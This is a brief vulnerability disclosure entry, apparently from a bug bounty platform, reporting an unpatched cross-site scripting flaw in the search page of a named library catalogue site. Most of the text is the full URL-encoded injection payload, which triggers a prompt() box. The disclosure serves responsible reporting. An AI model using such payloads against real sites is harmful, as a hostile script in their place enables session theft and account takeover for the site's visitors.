catalogusmcn.nl XSS vulnerability

Vulnerable URL: http://catalogusmcn.nl/cgi-bin/koha/opac-search.pl?q=a%27foo%3D%22%3E%3Edemonium%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%28%27OPENBUGBOUNTY%27%29%3Eb Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS...